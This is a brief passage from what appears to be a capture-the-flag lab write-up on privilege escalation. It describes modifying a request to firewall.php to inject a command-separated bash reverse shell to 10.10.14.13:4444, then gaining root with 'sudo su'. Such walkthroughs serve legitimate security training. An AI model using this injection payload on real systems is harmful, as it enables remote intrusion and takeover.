PrivEsc
Observation, when submitting the flag it makes two requests, one on challenge.php and firewall.php. We can and modify the second request to firewall.php

; bash -c "bash -i >& /dev/tcp/10.10.14.13/4444 0>&1";We get a shell back. We cannot access the /root folder yet.
But we can run any command as sudo so we can escalate our privilege with simply sudo su.
Last updated